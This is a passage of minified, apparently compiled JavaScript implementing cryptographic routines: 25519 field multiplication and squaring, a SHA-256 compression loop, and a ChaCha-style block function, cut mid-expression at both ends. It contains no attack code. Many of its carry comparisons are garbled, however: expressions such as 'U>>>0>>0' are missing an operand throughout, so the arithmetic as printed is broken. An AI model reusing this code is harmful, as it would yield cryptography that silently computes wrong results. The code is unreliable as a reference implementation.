3554432|0)>>>0<33554432?N+1|0:N))<<6|S>>>26)+x|0,a[t+124>>2]=N,a[t+120>>2]=M-(-67108864&S),S=a[e+40>>2],N=a[e+44>>2],M=a[e+4>>2],x=a[e+48>>2],R=a[e+8>>2],H=a[e+52>>2],G=a[e+12>>2],Y=a[e+56>>2],F=a[e+16>>2],P=a[e+60>>2],X=a[e+20>>2],z=a[e- -64>>2],j=a[e+24>>2],L=a[e+68>>2],q=a[e+28>>2],V=a[e+72>>2],$=a[e+32>>2],nt=a[e>>2],a[t+76>>2]=a[e+76>>2]+a[e+36>>2],a[t+72>>2]=V+$,a[t+68>>2]=L+q,a[(rt=t- -64|0)>>2]=j+z,a[t+60>>2]=P+X,a[t+56>>2]=F+Y,a[t+52>>2]=G+H,a[t+48>>2]=x+R,a[t+44>>2]=N+M,a[(e=t+40|0)>>2]=S+nt,b(r,e),S=a[t+80>>2],N=a[t+4>>2],M=a[t+84>>2],x=a[t+8>>2],R=a[t+88>>2],H=a[t+12>>2],G=a[t+92>>2],Y=a[t+16>>2],F=a[t+96>>2],P=a[t+20>>2],X=a[t+100>>2],z=a[t+24>>2],j=a[t+104>>2],L=a[t+28>>2],q=a[t+108>>2],V=a[t+32>>2],$=a[t+112>>2],nt=a[t>>2],U=(Z=a[t+116>>2])-(tt=a[t+36>>2])|0,a[t+116>>2]=U,W=$-V|0,a[t+112>>2]=W,T=q-L|0,a[t+108>>2]=T,ot=j-z|0,a[t+104>>2]=ot,st=X-P|0,a[t+100>>2]=st,at=F-Y|0,a[t+96>>2]=at,ct=G-H|0,a[t+92>>2]=ct,At=R-x|0,a[t+88>>2]=At,ht=M-N|0,a[t+84>>2]=ht,O=S-nt|0,a[t+80>>2]=O,Z=Z+tt|0,a[t+76>>2]=Z,V=V+$|0,a[t+72>>2]=V,L=L+q|0,a[t+68>>2]=L,z=j+z|0,a[rt>>2]=z,P=P+X|0,a[t+60>>2]=P,Y=F+Y|0,a[t+56>>2]=Y,H=G+H|0,a[t+52>>2]=H,x=x+R|0,a[t+48>>2]=x,N=N+M|0,a[t+44>>2]=N,M=e,e=S+nt|0,a[M>>2]=e,S=a[r>>2],M=a[r+4>>2],R=a[r+8>>2],G=a[r+12>>2],F=a[r+16>>2],X=a[r+20>>2],j=a[r+24>>2],q=a[r+28>>2],$=a[r+32>>2],a[t+36>>2]=a[r+36>>2]-Z,a[t+32>>2]=$-V,a[t+28>>2]=q-L,a[t+24>>2]=j-z,a[t+20>>2]=X-P,a[t+16>>2]=F-Y,a[t+12>>2]=G-H,a[t+8>>2]=R-x,a[t+4>>2]=M-N,a[t>>2]=S-e,e=a[t+120>>2],S=a[t+124>>2],N=a[t+128>>2],M=a[t+132>>2],x=a[t+136>>2],R=a[t+140>>2],H=a[t+144>>2],G=a[t+148>>2],Y=a[t+152>>2],a[t+156>>2]=a[t+156>>2]-U,a[t+152>>2]=Y-W,a[t+148>>2]=G-T,a[t+144>>2]=H-ot,a[t+140>>2]=R-st,a[t+136>>2]=x-at,a[t+132>>2]=M-ct,a[t+128>>2]=N-At,a[t+124>>2]=S-ht,a[t+120>>2]=e-O,I=r+48|0}function Q(t,e,r,n){var A=0,i=0,o=0,s=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0;for(A=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24,a[r>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24,a[r+4>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,a[r+8>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,a[r+12>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,a[r+16>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24,a[r+20>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+24|0]|c[e+25|0]<<8|c[e+26|0]<<16|c[e+27|0]<<24,a[r+24>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24,a[r+28>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+32|0]|c[e+33|0]<<8|c[e+34|0]<<16|c[e+35|0]<<24,a[r+32>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+36|0]|c[e+37|0]<<8|c[e+38|0]<<16|c[e+39|0]<<24,a[r+36>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+40|0]|c[e+41|0]<<8|c[e+42|0]<<16|c[e+43|0]<<24,a[r+40>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+44|0]|c[e+45|0]<<8|c[e+46|0]<<16|c[e+47|0]<<24,a[r+44>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+48|0]|c[e+49|0]<<8|c[e+50|0]<<16|c[e+51|0]<<24,a[r+48>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+52|0]|c[e+53|0]<<8|c[e+54|0]<<16|c[e+55|0]<<24,a[r+52>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,A=c[e+56|0]|c[e+57|0]<<8|c[e+58|0]<<16|c[e+59|0]<<24,a[r+56>>2]=A<<24|(65280&A)<<8|A>>>8&65280|A>>>24,e=c[e+60|0]|c[e+61|0]<<8|c[e+62|0]<<16|c[e+63|0]<<24,a[r+60>>2]=e<<24|(65280&e)<<8|e>>>8&65280|e>>>24,e=a[t+28>>2],a[n+24>>2]=a[t+24>>2],a[n+28>>2]=e,e=a[t+20>>2],a[n+16>>2]=a[t+16>>2],a[n+20>>2]=e,e=a[t+12>>2],a[n+8>>2]=a[t+8>>2],a[n+12>>2]=e,e=a[t+4>>2],a[n>>2]=a[t>>2],a[n+4>>2]=e;h=a[n+28>>2],A=(e=E<<2)+r|0,o=a[n+16>>2],g=a[A>>2]+(Gt(o,26)^Gt(o,21)^Gt(o,7))|0,l=(h=((i=a[e+33968>>2]+g|0)+(o&((g=a[n+24>>2])^(f=a[n+20>>2]))^g)|0)+h|0)+a[n+12>>2]|0,a[n+12>>2]=l,h=(d=h+(Gt(u=a[n>>2],30)^Gt(u,19)^Gt(u,10))|0)+(u&((i=a[n+8>>2])|(s=a[n+4>>2]))|i&s)|0,a[n+28>>2]=h,i=(d=i)+(g=(a[(y=(i=4|e)+r|0)>>2]+((g+(f^l&(o^f))|0)+(Gt(l,26)^Gt(l,21)^Gt(l,7))|0)|0)+a[i+33968>>2]|0)|0,a[n+8>>2]=i,g=(g+(h&(s|u)|s&u)|0)+(Gt(h,30)^Gt(h,19)^Gt(h,10))|0,a[n+24>>2]=g,f=(d=s)+(s=(((f+a[(B=(s=8|e)+r|0)>>2]|0)+a[s+33968>>2]|0)+(o^i&(o^l))|0)+(Gt(i,26)^Gt(i,21)^Gt(i,7))|0)|0,a[n+4>>2]=f,s=s+((g&(h|u)|h&u)+(Gt(g,30)^Gt(g,19)^Gt(g,10))|0)|0,a[n+20>>2]=s,o=(d=u)+(u=(((o+a[(w=(u=12|e)+r|0)>>2]|0)+a[u+33968>>2]|0)+(l^f&(i^l))|0)+(Gt(f,26)^Gt(f,21)^Gt(f,7))|0)|0,a[n>>2]=o,u=u+((s&(h|g)|h&g)+(Gt(s,30)^Gt(s,19)^Gt(s,10))|0)|0,a[n+16>>2]=u,l=(p=((((d=l)+a[(v=(l=16|e)+r|0)>>2]|0)+a[l+33968>>2]|0)+(i^o&(i^f))|0)+(Gt(o,26)^Gt(o,21)^Gt(o,7))|0)+((u&(s|g)|s&g)+(Gt(u,30)^Gt(u,19)^Gt(u,10))|0)|0,a[n+12>>2]=l,p=h+p|0,a[n+28>>2]=p,h=(i=(((i+a[(_=(h=20|e)+r|0)>>2]|0)+a[h+33968>>2]|0)+(f^p&(o^f))|0)+(Gt(p,26)^Gt(p,21)^Gt(p,7))|0)+((l&(s|u)|s&u)+(Gt(l,30)^Gt(l,19)^Gt(l,10))|0)|0,a[n+8>>2]=h,i=i+g|0,a[n+24>>2]=i,g=(f=(((f+a[(Q=(g=24|e)+r|0)>>2]|0)+a[g+33968>>2]|0)+(o^i&(o^p))|0)+(Gt(i,26)^Gt(i,21)^Gt(i,7))|0)+((h&(u|l)|u&l)+(Gt(h,30)^Gt(h,19)^Gt(h,10))|0)|0,a[n+4>>2]=g,f=s+f|0,a[n+20>>2]=f,s=(o=(((o+a[(b=(s=28|e)+r|0)>>2]|0)+a[s+33968>>2]|0)+(p^f&(i^p))|0)+(Gt(f,26)^Gt(f,21)^Gt(f,7))|0)+((g&(h|l)|h&l)+(Gt(g,30)^Gt(g,19)^Gt(g,10))|0)|0,a[n>>2]=s,o=o+u|0,a[n+16>>2]=o,u=(p=(((p+a[(k=(u=32|e)+r|0)>>2]|0)+a[u+33968>>2]|0)+(i^o&(i^f))|0)+(Gt(o,26)^Gt(o,21)^Gt(o,7))|0)+((s&(h|g)|h&g)+(Gt(s,30)^Gt(s,19)^Gt(s,10))|0)|0,a[n+28>>2]=u,p=l+p|0,a[n+12>>2]=p,l=(i=(((i+a[(D=(l=36|e)+r|0)>>2]|0)+a[l+33968>>2]|0)+(f^p&(o^f))|0)+(Gt(p,26)^Gt(p,21)^Gt(p,7))|0)+((u&(s|g)|s&g)+(Gt(u,30)^Gt(u,19)^Gt(u,10))|0)|0,a[n+24>>2]=l,i=i+h|0,a[n+8>>2]=i,h=(f=(((f+a[(S=(h=40|e)+r|0)>>2]|0)+a[h+33968>>2]|0)+(o^i&(o^p))|0)+(Gt(i,26)^Gt(i,21)^Gt(i,7))|0)+((l&(s|u)|s&u)+(Gt(l,30)^Gt(l,19)^Gt(l,10))|0)|0,a[n+20>>2]=h,f=g+f|0,a[n+4>>2]=f,d=(g=44|e)+r|0,g=(o=((o+(a[g+33968>>2]+a[d>>2]|0)|0)+(p^f&(i^p))|0)+(Gt(f,26)^Gt(f,21)^Gt(f,7))|0)+((h&(u|l)|u&l)+(Gt(h,30)^Gt(h,19)^Gt(h,10))|0)|0,a[n+16>>2]=g,s=s+o|0,a[n>>2]=s,m=(o=48|e)+r|0,o=(p=((p+(a[o+33968>>2]+a[m>>2]|0)|0)+(i^s&(i^f))|0)+(Gt(s,26)^Gt(s,21)^Gt(s,7))|0)+((g&(h|l)|h&l)+(Gt(g,30)^Gt(g,19)^Gt(g,10))|0)|0,a[n+12>>2]=o,u=u+p|0,a[n+28>>2]=u,C=(p=52|e)+r|0,i=(p=(((a[p+33968>>2]+a[C>>2]|0)+i|0)+(f^u&(s^f))|0)+(Gt(u,26)^Gt(u,21)^Gt(u,7))|0)+((o&(h|g)|h&g)+(Gt(o,30)^Gt(o,19)^Gt(o,10))|0)|0,a[n+8>>2]=i,l=l+p|0,a[n+24>>2]=l,p=(I=56|e)+r|0,f=(I=(((a[I+33968>>2]+a[p>>2]|0)+f|0)+(s^l&(s^u))|0)+(Gt(l,26)^Gt(l,21)^Gt(l,7))|0)+((i&(g|o)|g&o)+(Gt(i,30)^Gt(i,19)^Gt(i,10))|0)|0,a[n+4>>2]=f,h=h+I|0,a[n+20>>2]=h,I=(e|=60)+r|0,h=(e=((s+(a[e+33968>>2]+a[I>>2]|0)|0)+(u^h&(u^l))|0)+(Gt(h,26)^Gt(h,21)^Gt(h,7))|0)+((f&(i|o)|i&o)+(Gt(f,30)^Gt(f,19)^Gt(f,10))|0)|0,a[n>>2]=h,a[n+16>>2]=e+g,48!=(0|E);)s=a[D>>2],E=E+16|0,e=a[p>>2],h=(i=a[A>>2]+(s+(Gt(e,15)^Gt(e,13)^e>>>10)|0)|0)+(Gt(g=a[y>>2],25)^Gt(g,14)^g>>>3)|0,a[(E<<2)+r>>2]=h,l=(o=(i=(u=a[S>>2])+g|0)+(Gt(g=a[I>>2],15)^Gt(g,13)^g>>>10)|0)+(Gt(i=a[B>>2],25)^Gt(i,14)^i>>>3)|0,a[A+68>>2]=l,f=(d=((o=i)+(i=a[d>>2])|0)+(Gt(h,15)^Gt(h,13)^h>>>10)|0)+(Gt(o=a[w>>2],25)^Gt(o,14)^o>>>3)|0,a[A+72>>2]=f,p=(I=((d=o)+(o=a[m>>2])|0)+(Gt(l,15)^Gt(l,13)^l>>>10)|0)+(Gt(d=a[v>>2],25)^Gt(d,14)^d>>>3)|0,a[A+76>>2]=p,m=(I=((I=d)+(d=a[C>>2])|0)+(Gt(f,15)^Gt(f,13)^f>>>10)|0)+(Gt(C=a[_>>2],25)^Gt(C,14)^C>>>3)|0,a[A+80>>2]=m,C=(y=(e+C|0)+(Gt(p,15)^Gt(p,13)^p>>>10)|0)+(Gt(I=a[Q>>2],25)^Gt(I,14)^I>>>3)|0,a[A+84>>2]=C,I=((g+I|0)+(Gt(B=a[b>>2],25)^Gt(B,14)^B>>>3)|0)+(Gt(m,15)^Gt(m,13)^m>>>10)|0,a[A+88>>2]=I,l=((y=a[k>>2])+(l+(Gt(s,25)^Gt(s,14)^s>>>3)|0)|0)+(Gt(I,15)^Gt(I,13)^I>>>10)|0,a[A+96>>2]=l,y=((h+B|0)+(Gt(y,25)^Gt(y,14)^y>>>3)|0)+(Gt(C,15)^Gt(C,13)^C>>>10)|0,a[A+92>>2]=y,p=(p+(u+(Gt(i,25)^Gt(i,14)^i>>>3)|0)|0)+(Gt(l,15)^Gt(l,13)^l>>>10)|0,a[A+104>>2]=p,s=(f+(s+(Gt(u,25)^Gt(u,14)^u>>>3)|0)|0)+(Gt(y,15)^Gt(y,13)^y>>>10)|0,a[A+100>>2]=s,u=(C+(o+(Gt(d,25)^Gt(d,14)^d>>>3)|0)|0)+(Gt(p,15)^Gt(p,13)^p>>>10)|0,a[A+112>>2]=u,s=(m+(i+(Gt(o,25)^Gt(o,14)^o>>>3)|0)|0)+(Gt(s,15)^Gt(s,13)^s>>>10)|0,a[A+108>>2]=s,N=A,M=(y+(e+(Gt(g,25)^Gt(g,14)^g>>>3)|0)|0)+(Gt(u,15)^Gt(u,13)^u>>>10)|0,a[N+120>>2]=M,e=(I+(d+(Gt(e,25)^Gt(e,14)^e>>>3)|0)|0)+(Gt(s,15)^Gt(s,13)^s>>>10)|0,a[A+116>>2]=e,N=A,M=(l+(g+(Gt(h,25)^Gt(h,14)^h>>>3)|0)|0)+(Gt(e,15)^Gt(e,13)^e>>>10)|0,a[N+124>>2]=M;a[t>>2]=h+a[t>>2],a[t+4>>2]=a[t+4>>2]+a[n+4>>2],a[t+8>>2]=a[t+8>>2]+a[n+8>>2],a[t+12>>2]=a[t+12>>2]+a[n+12>>2],a[t+16>>2]=a[t+16>>2]+a[n+16>>2],a[t+20>>2]=a[t+20>>2]+a[n+20>>2],a[t+24>>2]=a[t+24>>2]+a[n+24>>2],a[t+28>>2]=a[t+28>>2]+a[n+28>>2]}function b(t,e){var r,n,A,i,o,s,c,h,u,l,f,p,d,I,C,m,B,E,w,v,_,Q,b,k,D,S,N,M,x,F,P,T,R=0,U=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,X=0,V=0,W=0,Z=0,$=0,tt=0,et=0,rt=0,nt=0,At=0;R=Bt(n=(m=a[e+12>>2])<<1,s=n>>31,m,_=m>>31),G=y,U=(J=Bt(L=a[e+16>>2],c=L>>31,h=(H=a[e+8>>2])<<1,p=h>>31))+R|0,R=y+G|0,R=U>>>0>>0?R+1|0:R,G=(j=Bt(X=(u=a[e+20>>2])<<1,d=X>>31,J=(O=a[e+4>>2])<<1,A=J>>31))+U|0,U=y+R|0,U=G>>>0>>0?U+1|0:U,Y=Bt(r=a[e+24>>2],l=r>>31,j=(Z=a[e>>2])<<1,i=j>>31),R=y+U|0,R=(G=Y+G|0)>>>0>>0?R+1|0:R,U=G,I=a[e+32>>2],G=Bt(z=g(I,19),f=z>>31,I,E=I>>31),R=y+R|0,R=(U=U+G|0)>>>0>>0?R+1|0:R,S=a[e+36>>2],G=Bt(Y=g(S,38),o=Y>>31,w=(C=a[e+28>>2])<<1,Q=w>>31),e=y+R|0,W=U=G+U|0,G=U>>>0>>0?e+1|0:e,e=Bt(J,A,L,c),R=y,U=Bt(h,p,m,_),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,K=Bt(u,v=u>>31,j,i),U=y+R|0,U=(e=K+e|0)>>>0>>0?U+1|0:U,K=Bt(z,f,w,Q),R=y+U|0,R=(e=K+e|0)>>>0>>0?R+1|0:R,U=Bt(Y,o,r,l),R=y+R|0,nt=e=U+e|0,q=e>>>0>>0?R+1|0:R,R=Bt(J,A,n,s),U=y,b=e=H,H=Bt(e,V=e>>31,e,V),e=y+U|0,e=(R=H+R|0)>>>0>>0?e+1|0:e,U=(H=Bt(j,i,L,c))+R|0,R=y+e|0,R=U>>>0>>0?R+1|0:R,e=(H=Bt(K=g(C,38),B=K>>31,C,k=C>>31))+U|0,U=y+R|0,U=e>>>0>>0?U+1|0:U,e=(R=e)+(H=Bt(z,f,e=r<<1,e>>31))|0,R=y+U|0,R=e>>>0>>0?R+1|0:R,U=e,e=Bt(Y,o,X,d),R=y+R|0,N=U=U+e|0,M=R=e>>>0>U>>>0?R+1|0:R,e=R,x=U=U+33554432|0,F=e=U>>>0<33554432?e+1|0:e,R=(R=e>>26)+q|0,nt=e=(U=(67108863&e)<<6|U>>>26)+nt|0,R=e>>>0>>0?R+1|0:R,P=e=e+16777216|0,R=(R=(U=e>>>0<16777216?R+1|0:R)>>25)+G|0,e=(e=(33554431&U)<<7|e>>>25)>>>0>(U=e+W|0)>>>0?R+1|0:R,W=R=U+33554432|0,H=e=R>>>0<33554432?e+1|0:e,a[t+24>>2]=U-(-67108864&R),e=Bt(j,i,b,V),R=y,G=Bt(J,A,O,$=O>>31),U=y+R|0,U=(e=G+e|0)>>>0>>0?U+1|0:U,q=Bt(G=g(r,19),rt=G>>31,r,l),R=y+U|0,R=(e=q+e|0)>>>0>>0?R+1|0:R,U=(q=Bt(X,d,K,B))+e|0,e=y+R|0,e=U>>>0>>0?e+1|0:e,tt=Bt(z,f,q=L<<1,D=q>>31),R=y+e|0,R=(U=tt+U|0)>>>0>>0?R+1|0:R,e=U,U=Bt(Y,o,n,s),R=y+R|0,et=e=e+U|0,tt=e>>>0>>0?R+1|0:R,e=Bt(X,d,G,rt),R=y,O=Bt(j,i,O,$),U=y+R|0,U=(e=O+e|0)>>>0>>0?U+1|0:U,O=Bt(L,c,K,B),R=y+U|0,R=(e=O+e|0)>>>0>>0?R+1|0:R,U=(O=Bt(z,f,n,s))+e|0,e=y+R|0,e=U>>>0>>0?e+1|0:e,O=Bt(Y,o,b,V),R=y+e|0,At=U=O+U|0,$=U>>>0>>0?R+1|0:R,U=Bt(e=g(u,38),e>>31,u,v),O=y,e=Z,Z=U,U=Bt(e,R=e>>31,e,R),R=y+O|0,R=(e=Z+U|0)>>>0>>0?R+1|0:R,G=Bt(G,rt,q,D),U=y+R|0,U=(e=G+e|0)>>>0>>0?U+1|0:U,G=Bt(n,s,K,B),R=y+U|0,R=(e=G+e|0)>>>0>>0?R+1|0:R,U=(G=Bt(z,f,h,p))+e|0,e=y+R|0,e=U>>>0>>0?e+1|0:e,G=Bt(J,A,Y,o),R=y+e|0,O=U=G+U|0,Z=R=U>>>0>>0?R+1|0:R,rt=U=U+33554432|0,T=R=U>>>0<33554432?R+1|0:R,e=R>>26,R=(67108863&R)<<6|U>>>26,U=e+$|0,$=G=R+At|0,R=R>>>0>G>>>0?U+1|0:U,At=U=G+16777216|0,G=(33554431&(R=U>>>0<16777216?R+1|0:R))<<7|U>>>25,R=(R>>25)+tt|0,R=(U=G+et|0)>>>0>>0?R+1|0:R,tt=e=U+33554432|0,G=R=e>>>0<33554432?R+1|0:R,a[t+8>>2]=U-(-67108864&e),e=Bt(h,p,u,v),R=y,U=Bt(L,c,n,s),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,U=Bt(J,A,r,l),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,U=Bt(j,i,C,k),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,et=(U=Bt(Y,o,I,E))+e|0,e=y+R|0,U=(R=H>>26)+(U=U>>>0>et>>>0?e+1|0:e)|0,W=e=(H=(67108863&H)<<6|W>>>26)+et|0,R=e>>>0>>0?U+1|0:U,et=e=e+16777216|0,H=R=e>>>0<16777216?R+1|0:R,a[t+28>>2]=W-(-33554432&e),e=Bt(j,i,m,_),U=y,R=(V=Bt(J,A,b,V))+e|0,e=y+U|0,e=R>>>0>>0?e+1|0:e,R=(K=Bt(r,l,K,B))+R|0,U=y+e|0,e=(z=Bt(z,f,X,d))+R|0,R=y+(R>>>0>>0?U+1|0:U)|0,R=e>>>0>>0?R+1|0:R,U=Bt(Y,o,L,c),R=y+R|0,R=(R=(e=U+e|0)>>>0>>0?R+1|0:R)+(U=G>>26)|0,e=(U=G=(W=e)+(e=(67108863&G)<<6|tt>>>26)|0)>>>0>>0?R+1|0:R,z=R=U+16777216|0,G=e=R>>>0<16777216?e+1|0:e,a[t+12>>2]=U-(-33554432&R),e=Bt(r,l,h,p),R=y,U=Bt(L,c,L,c),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,U=Bt(n,s,X,d),R=y+R|0,R=(e=U+e|0)>>>0>>0?R+1|0:R,U=(L=Bt(J,A,w,Q))+e|0,e=y+R|0,e=U>>>0>>0?e+1|0:e,R=(L=Bt(j,i,I,E))+U|0,U=y+e|0,U=R>>>0>>0?U+1|0:U,e=(L=Bt(e=Y,o,Y=S,X=Y>>31))+R|0,R=y+U|0,R=e>>>0>>0?R+1|0:R,U=e,R=(e=H>>25)+R|0,R=(U=U+(H=(33554431&H)<<7|et>>>25)|0)>>>0>>0?R+1|0:R,L=e=U+33554432|0,H=R=e>>>0<33554432?R+1|0:R,a[t+32>>2]=U-(-67108864&e),R=G>>25,U=(G=(33554431&G)<<7|z>>>25)+(N-(e=-67108864&x)|0)|0,e=R+(M-((e>>>0>N>>>0)+F|0)|0)|0,e=U>>>0>>0?e+1|0:e,G=U,e=((67108863&(R=(U=U+33554432|0)>>>0<33554432?e+1|0:e))<<6|U>>>26)+(K=nt-(-33554432&P)|0)|0,a[t+20>>2]=e,a[t+16>>2]=G-(-67108864&U),e=Bt(n,s,r,l),U=y,R=(G=Bt(u,v,q,D))+e|0,e=y+U|0,e=R>>>0>>0?e+1|0:e,U=(G=Bt(h,p,C,k))+R|0,R=y+e|0,R=U>>>0>>0?R+1|0:R,e=(G=Bt(J,A,I,E))+U|0,U=y+R|0,U=e>>>0>>0?U+1|0:U,G=(R=e)+(e=Bt(j,i,Y,X))|0,R=y+U|0,R=(e=e>>>0>G>>>0?R+1|0:R)+(R=H>>26)|0,e=(U=(H=(67108863&H)<<6|L>>>26)+G|0)>>>0>>0?R+1|0:R,e=(R=U+16777216|0)>>>0<16777216?e+1|0:e,a[t+36>>2]=U-(-33554432&R),H=$-(-33554432&At)|0,G=O-(U=-67108864&rt)|0,J=Z-((U>>>0>O>>>0)+T|0)|0,e=Bt((33554431&e)<<7|R>>>25,e>>25,19,0),R=y+J|0,e=e>>>0>(U=e+G|0)>>>0?R+1|0:R,e=((67108863&(e=(R=U+33554432|0)>>>0<33554432?e+1|0:e))<<6|R>>>26)+H|0,a[t+4>>2]=e,a[t>>2]=U-(-67108864&R)}function k(t,e,r,n,A){var i,o,h,g,u,l,f,p,d,y,C,m,B,E,w,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0,P=0,T=0,R=0,U=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,X=0,V=0,W=0,Z=0,$=0,tt=0,et=0,rt=0,nt=0;for(i=I+-64|0,o=a[t+60>>2],h=a[t+56>>2],Y=a[t+52>>2],O=a[t+48>>2],g=a[t+44>>2],u=a[t+40>>2],l=a[t+36>>2],f=a[t+32>>2],p=a[t+28>>2],d=a[t+24>>2],y=a[t+20>>2],C=a[t+16>>2],m=a[t+12>>2],B=a[t+8>>2],E=a[t+4>>2],w=a[t>>2];;){if(!A&n>>>0>63|A)v=r;else{if(a[i+56>>2]=0,a[i+60>>2]=0,a[i+48>>2]=0,a[i+52>>2]=0,a[i+40>>2]=0,a[i+44>>2]=0,a[i+32>>2]=0,a[i+36>>2]=0,a[i+24>>2]=0,a[i+28>>2]=0,a[i+16>>2]=0,a[i+20>>2]=0,a[i+8>>2]=0,a[i+12>>2]=0,a[i>>2]=0,a[i+4>>2]=0,Q=0,n|A)for(;s[Q+i|0]=c[e+Q|0],!A&(Q=Q+1|0)>>>0>>0|A;);e=v=i,q=r}for(K=20,_=w,x=E,F=B,R=m,Q=C,r=y,k=d,D=p,S=f,G=l,P=u,b=o,H=h,U=Y,T=O,N=g;M=Q,_=Gt((Q=_+Q|0)^T,16),M=T=Gt(M^(S=_+S|0),12),T=Gt((L=Q+T|0)^_,8),Q=Gt(M^(S=T+S|0),7),b=Gt((_=D+R|0)^b,16),D=Gt((N=b+N|0)^D,12),R=Gt((F=k+F|0)^H,16),k=Gt((P=R+P|0)^k,12),H=(J=_+D|0)+Q|0,j=Gt((F=k+F|0)^R,8),_=Gt(H^j,16),R=Gt((x=r+x|0)^U,16),r=Gt((G=R+G|0)^r,12),M=Q,U=Gt((x=r+x|0)^R,8),M=Gt(M^(Q=(z=U+G|0)+_|0),12),H=Gt(_^(R=M+H|0),8),Q=Gt((G=H+Q|0)^M,7),M=S,S=F,_=Gt(b^J,8),F=Gt((b=_+N|0)^D,7),U=Gt((S=S+F|0)^U,16),N=Gt((D=M+U|0)^F,12),U=Gt(U^(F=N+S|0),8),D=Gt((S=D+U|0)^N,7),N=b,b=x,x=Gt((P=P+j|0)^k,7),k=N+(T=Gt((b=b+x|0)^T,16))|0,N=b,b=Gt(k^x,12),T=Gt(T^(x=N+b|0),8),k=Gt((N=k+T|0)^b,7),M=P,b=_,_=Gt(r^z,7),b=Gt(b^(P=_+L|0),16),L=Gt((r=M+b|0)^_,12),b=Gt(b^(_=L+P|0),8),r=Gt((P=r+b|0)^L,7),K=K-2|0;);if(K=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24,L=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,J=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,j=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,z=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24,M=c[e+24|0]|c[e+25|0]<<8|c[e+26|0]<<16|c[e+27|0]<<24,X=c[e+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24,V=c[e+32|0]|c[e+33|0]<<8|c[e+34|0]<<16|c[e+35|0]<<24,W=c[e+36|0]|c[e+37|0]<<8|c[e+38|0]<<16|c[e+39|0]<<24,Z=c[e+40|0]|c[e+41|0]<<8|c[e+42|0]<<16|c[e+43|0]<<24,$=c[e+44|0]|c[e+45|0]<<8|c[e+46|0]<<16|c[e+47|0]<<24,tt=c[e+48|0]|c[e+49|0]<<8|c[e+50|0]<<16|c[e+51|0]<<24,et=c[e+52|0]|c[e+53|0]<<8|c[e+54|0]<<16|c[e+55|0]<<24,rt=c[e+56|0]|c[e+57|0]<<8|c[e+58|0]<<16|c[e+59|0]<<24,nt=c[e+60|0]|c[e+61|0]<<8|c[e+62|0]<<16|c[e+63|0]<<24,_=_+w^(c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24),s[0|v]=_,s[v+1|0]=_>>>8,s[v+2|0]=_>>>16,s[v+3|0]=_>>>24,_=b+o^nt,s[v+60|0]=_,s[v+61|0]=_>>>8,s[v+62|0]=_>>>16,s[v+63|0]=_>>>24,_=H+h^rt,s[v+56|0]=_,s[v+57|0]=_>>>8,s[v+58|0]=_>>>16,s[v+59|0]=_>>>24,_=U+Y^et,s[v+52|0]=_,s[v+53|0]=_>>>8,s[v+54|0]=_>>>16,s[v+55|0]=_>>>24,_=T+O^tt,s[v+48|0]=_,s[v+49|0]=_>>>8,s[v+50|0]=_>>>16,s[v+51|0]=_>>>24,_=N+g^$,s[v+44|0]=_,s[v+45|0]=_>>>8,s[v+46|0]=_>>>16,s[v+47|0]=_>>>24,_=P+u^Z,s[v+40|0]=_,s[v+41|0]=_>>>8,s[v+42|0]=_>>>16,s[v+43|0]=_>>>24,_=G+l^W,s[v+36|0]=_,s[v+37|0]=_>>>8,s[v+38|0]=_>>>16,s[v+39|0]=_>>>24,_=S+f^V,s[v+32|0]=_,s[v+33|0]=_>>>8,s[v+34|0]=_>>>16,s[v+35|0]=_>>>24,D=D+p^X,s[v+28|0]=D,s[v+29|0]=D>>>8,s[v+30|0]=D>>>16,s[v+31|0]=D>>>24,k=M^k+d,s[v+24|0]=k,s[v+25|0]=k>>>8,s[v+26|0]=k>>>16,s[v+27|0]=k>>>24,r=z^r+y,s[v+20|0]=r,s[v+21|0]=r>>>8,s[v+22|0]=r>>>16,